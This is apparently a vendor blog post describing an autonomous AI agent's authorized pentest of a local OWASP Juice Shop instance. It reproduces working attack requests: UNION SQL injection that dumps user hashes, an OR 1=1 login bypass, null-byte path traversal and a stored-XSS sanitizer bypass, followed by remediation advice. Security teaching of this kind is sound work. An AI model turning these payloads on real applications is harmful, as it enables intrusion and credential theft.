Blog

Autonomous web app pentest against OWASP Juice Shop: 7 findings, 4 exploited with proof

An authorized autonomous scan of a locally hosted OWASP Juice Shop: UNION SQL injection that dumped the user table, a login authentication bypass that minted an admin JWT, null-byte path traversal, a stored-XSS sanitizer bypass, JWT hash exposure and verbose errors, each graded EXPLOITED or CONFIRMED by demonstrated impact.

· 9 min read

The difference between a scanner and a pentest is proof. A scanner tells you a parameter looks injectable; a pentest extracts the database. To show what that difference looks like when the tester is autonomous, we pointed the Darkmoon platform at a local, authorized instance of OWASP Juice Shop and let it run end to end. It came back with seven findings, four of them exploited, each one carrying the exact request, the raw response and the data actually pulled out. This is the walk through of that run, and every number, payload and response below comes from the assessment report it produced.

Authorized, deliberately vulnerable, educational

OWASP Juice Shop (bkimminich/juice-shop) is the canonical deliberately vulnerable web application, built to teach and to benchmark security tooling. This assessment ran against a locally hosted instance we control, on loopback, with full authorization. It is not a third party target. The point is not that Juice Shop is insecure, that is its job, but that an autonomous agent walks it the way a human tester would and proves each issue rather than guessing at it.

The run, at a glance

The campaign was assessed against ISO 27001, NIST SP 800-115 and MITRE ATT&CK, and it graded the overall posture as critical. The headline is not the count, it is the status column: of the seven findings, four were driven all the way to executed impact.

SeverityCount
Critical2 (2 exploited)
High3 (2 exploited, 1 confirmed)
Medium2 (2 confirmed)
Total7
#FindingSeverityCVSSStatusEndpoint
1UNION-based SQL injection in product searchCritical9.8ExploitedGET /rest/products/search?q=
2Authentication bypass via SQL injection on loginCritical9.8ExploitedPOST /rest/user/login
3Null byte path traversal on the FTP directoryHigh7.5ExploitedGET /ftp/{filename}%2500.md
4Password hashes exposed in JWT tokensHigh7.5ConfirmedPOST /rest/user/login
5Stored XSS via HTML sanitizer bypassHigh7.1ExploitedPOST /api/Feedbacks
6DOM / reflected XSS in product searchMedium6.1ConfirmedGET /#/search?q=
7Verbose error pages with stack tracesMedium5.3ConfirmedAny invalid endpoint

The run was fast and it was attributed. The report records the web findings as discovered by its nodejs specialist, and the discovery timestamps cluster inside a single window, from the UNION injection at 11:26:35 to the JWT exposure at 11:27:51, roughly ninety seconds of active exploitation across seven distinct issues. That is the shape of an autonomous run: it does not tire of chaining the next request from what the last one returned, and it records the exact time, endpoint and component for every finding so the report is auditable rather than a summary.

1. UNION SQL injection: the whole user table, extracted

The product search endpoint at /rest/products/search built its SQLite query by concatenating the q parameter straight into the statement. The agent first probed with a broken payload and read the database's own error back, which confirmed the injection point, then closed the original query and appended a UNION SELECT that matched the nine column shape of the Products table. That let it read arbitrary tables, and it went straight for the users.

# 1) confirm the injection point
q=test') OR 1=1--   ->  SQLITE_ERROR: incomplete input

# 2) map the schema, then dump credentials
curl -s "http://127.0.0.1:3000/rest/products/search?q='))%20UNION%20SELECT%20sql,2,3,4,5,6,7,8,9%20FROM%20sqlite_master--"
curl -s "http://127.0.0.1:3000/rest/products/search?q='))%20UNION%20SELECT%20id,email,password,role,5,6,7,8,9%20FROM%20Users--"

The response returned the users as if they were products. The email landed in the product name field and the password hash in the description field:

HTTP/1.1 200 OK
{"status":"success","data":[{"id":1,"name":"admin@juice-sh.op",
  "description":"0192023a7bbd73250516f069df18b500","price":"admin", ... }]}

The report records what came out: all user emails, their MD5 password hashes and their roles, including two admin accounts, and it captured the admin hash 0192023a7bbd73250516f069df18b500 for admin@juice-sh.op as evidence. Rated critical, CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), mapped to MITRE ATT&CK T1190. This is why the status reads EXPLOITED rather than confirmed: the impact, full database extraction, was actually carried out.

2. Authentication bypass: an admin session with no password

The login endpoint had the same root cause on a different surface. The email field in the JSON body was embedded directly into a SQL query, so the classic tautology terminated the string, added OR 1=1 and commented out the password check. The database returned the first user row, which is the admin, and the application dutifully minted a valid JWT for it.

POST /rest/user/login HTTP/1.1
Content-Type: application/json

{"email":"' OR 1=1--","password":"test"}

HTTP/1.1 200 OK
{"authentication":{"token":"eyJ0eXAiOiJKV1Q...","bid":1,"umail":"admin@juice-sh.op"}}

The agent decoded the returned token and recorded that it carried id=1, email=admin@juice-sh.op, role=admin, then used it to reach authenticated admin endpoints, /api/Users and /api/Feedbacks. Complete administrative access, no credentials required. Critical, CVSS 9.8, MITRE ATT&CK T1078 (valid accounts). Again EXPLOITED, because the agent did not stop at issuing the token, it demonstrated the access it granted.

3. Null byte path traversal: reading files off the FTP directory

The /ftp directory served files behind an extension whitelist, and it also exposed a public directory listing. The agent bypassed the whitelist with a URL encoded null byte: appending %2500.md to a restricted filename truncates it at the OS level while the application still sees an allowed .md extension.

curl -s "http://127.0.0.1:3000/ftp/package.json.bak%2500.md"
curl -s "http://127.0.0.1:3000/ftp/coupons_2013.md.bak%2500.md"
curl -s "http://127.0.0.1:3000/ftp/acquisitions.md"

Each request returned 200 with the real file. The run pulled a package.json.bak backup that revealed the full dependency tree and internal configuration, a coupons file containing discount codes, and a confidential business document. High, CVSS 7.5, MITRE ATT&CK T1083. Exploited: sensitive files were downloaded, not merely reachable.

4. Password hashes riding inside the JWT (Confirmed, and why not exploited)

This one is a good illustration of the status discipline, because it stops at CONFIRMED. The JWT the login endpoint issues carries the user's MD5 password hash directly in its payload, and a JWT payload is base64 encoded, not encrypted, so anyone holding the token can read it.

curl -s "http://127.0.0.1:3000/rest/user/login" -X POST -H "Content-Type: application/json" \
  -d '{"email":"'\'' OR 1=1--","password":"test"}' \
  | jq -r '.authentication.token' | cut -d. -f2 | base64 -d

# decoded payload:
{"data":{"id":1,"email":"admin@juice-sh.op",
  "password":"0192023a7bbd73250516f069df18b500","role":"admin", ...}}

The hash is unsalted MD5, a broken algorithm that rainbow tables reverse in seconds, and combined with the SQLi above it means every user credential is trivially compromised. The agent demonstrated the exposure with the exact request, the decoded payload and the visible hash, which is what CONFIRMED requires. It did not label it exploited, because the finding is the disclosure of the hash rather than a cracked plaintext password, and the report reflects exactly that boundary. High, CVSS 7.5, MITRE ATT&CK T1552.001.

5. Stored XSS through a sanitizer that rebuilt the payload

The customer feedback API used a blacklist style HTML sanitizer that strips known dangerous tags, and it was beaten by its own stripping behaviour. Nesting benign tags inside the malicious one means that once the sanitizer removes the inner <b> and </b>, the fragments it leaves behind reassemble into a valid script tag.

# 1) solve the CAPTCHA the endpoint requires
curl -s "http://127.0.0.1:3000/rest/captcha"   ->  captchaId=2, answer=56

# 2) post the nested-tag payload
curl -s -X POST "http://127.0.0.1:3000/api/Feedbacks" -H "Content-Type: application/json" \
  -d '{"UserId":1,"comment":"<<b>script>alert(`xss`)<</b>/script>","rating":5,"captchaId":2,"captcha":"56"}'

HTTP/1.1 200 OK
{"status":"success","data":{"id":10, ... }}

The agent obtained the CAPTCHA, submitted the payload, got back a success with the stored feedback id, and then verified through GET /api/Feedbacks that the comment persisted in the database. When that stored comment is rendered, the sanitizer strips the <b></b> pair and leaves an executing <script>alert(`xss`)</script> behind, which fires in the browser of any user, including an admin, who views the feedback. High, CVSS 7.1, MITRE ATT&CK T1059.007. Exploited: the payload was stored and its reconstruction confirmed.

6 and 7. The two mediums the agent held at CONFIRMED

The reflected XSS finding in product search and the verbose error disclosure both sit at CONFIRMED, and both are medium rather than high, which is the honest call given what was demonstrated.

  • DOM / reflected XSS (CVSS 6.1). The Angular front end reads the search term from the URL fragment and renders it with an innerHTML binding, and the API passes HTML in the q parameter through untouched. The agent confirmed the payloads pass server side and described the client side execution path when a victim opens a crafted /#/search URL, rather than claiming a headless browser detonation it did not run.
  • Verbose error pages (CVSS 5.3). An invalid request to /api/ returned a 500 with a full stack trace exposing internal file paths under /juice-shop/build/routes/, the framework version Express ^4.22.1 and the database engine via a SQLITE_ERRORmessage. Information disclosure that shortens an attacker's reconnaissance, recorded as exactly that.

What EXPLOITED versus CONFIRMED bought this report

Every Darkmoon agent assigns status by demonstrated impact, and it challenges its own claim before it writes it down. That is what keeps a finding count honest instead of inflated.

StatusBar it has to clearExample from this run
EXPLOITEDImpact executed end to end: data extracted or access gainedThe Users table dumped via UNION SQLi; an admin JWT minted from ' OR 1=1--
CONFIRMEDImpact demonstrated with the exact request, raw response and extracted data or traceThe MD5 hash read out of a decoded JWT payload
UNCONFIRMEDA real lead not yet demonstrated; capped at low severityNot used in this run

Four exploited, three confirmed, zero hand waving. The two SQL injections were driven to full database extraction and an admin session; the traversal to downloaded files; the stored XSS to a persisted, reconstructing payload. The JWT exposure and the reflected XSS were demonstrated but held at the severity the evidence supports rather than promoted. A buyer reading this report is deciding from proof, not from a probability score, which is the whole argument for proof of exploitation over AI vulnerability scores.

The remediation roadmap it produced

The report closed with a prioritized roadmap, ordered by risk rather than by finding number:

  • Immediate, under 24 hours. Fix both SQL injections. Use parameterized queries everywhere and never embed user input in a query string, which closes the database extraction and the authentication bypass at once.
  • Short term, under a week. Reject null bytes after URL decoding and whitelist filenames rather than extensions on /ftp; strip password hashes from JWT payloads and move off unsalted MD5 to bcrypt, scrypt or argon2; replace the blacklist sanitizer with a whitelist library such as DOMPurify and add a Content-Security-Policy.
  • Medium term, under two weeks. Render search terms with textContent instead of innerHTML and add CSP to shut the reflected XSS; set NODE_ENV=production and a custom error handler so stack traces, file paths and versions stop leaking.

What this proves, and what it does not

Juice Shop is a teaching target, so the finding count is a statement about the agent, not about a hardened production app: it proves the autonomous run detects, exploits and reports web vulnerabilities with reproducible proof, and grades honestly. Against a well configured application a clean run that finds nothing exploitable is a valid and useful result. Every payload and response here is from the single authorized run against our local instance.

FAQ

Can an AI agent actually exploit web vulnerabilities, or just flag them? On this run it exploited them. It extracted the full user table through UNION SQL injection, minted an admin JWT through an authentication bypass, downloaded restricted files through null byte traversal, and stored a reconstructing XSS payload, each with the exact request and raw response recorded.

Why are some findings only CONFIRMED and not EXPLOITED? Because status follows demonstrated impact. The JWT hash exposure and the reflected XSS were proven with the exact request and response, but the agent did not overstate them into a cracked password or a detonated browser exploit it had not performed. That restraint is deliberate and it keeps the report trustworthy.

Is testing OWASP Juice Shop legal? Yes, when it is your own instance. Juice Shop is an open source, deliberately vulnerable app made for exactly this, and this assessment ran against a local instance on loopback with authorization. Never run these techniques against an application you do not own or are not contracted in writing to test.

Do my targets and secrets get sent to a hosted model? No. The platform runs on a local model and its privacy gateway feeds the model deterministic placeholders, so real hosts, paths and credentials never reach it. The fully caveated treatment is in how to run an AI pentest without sending your data to the LLM.

Darkmoon is our open source project (GPL-3.0): github.com/ASCIT31/Dark-Moon, docs.

Run it against your own lab

Darkmoon is open source (GPL-3.0) and self hosted. Clone it, point it at a target you own, and read every line.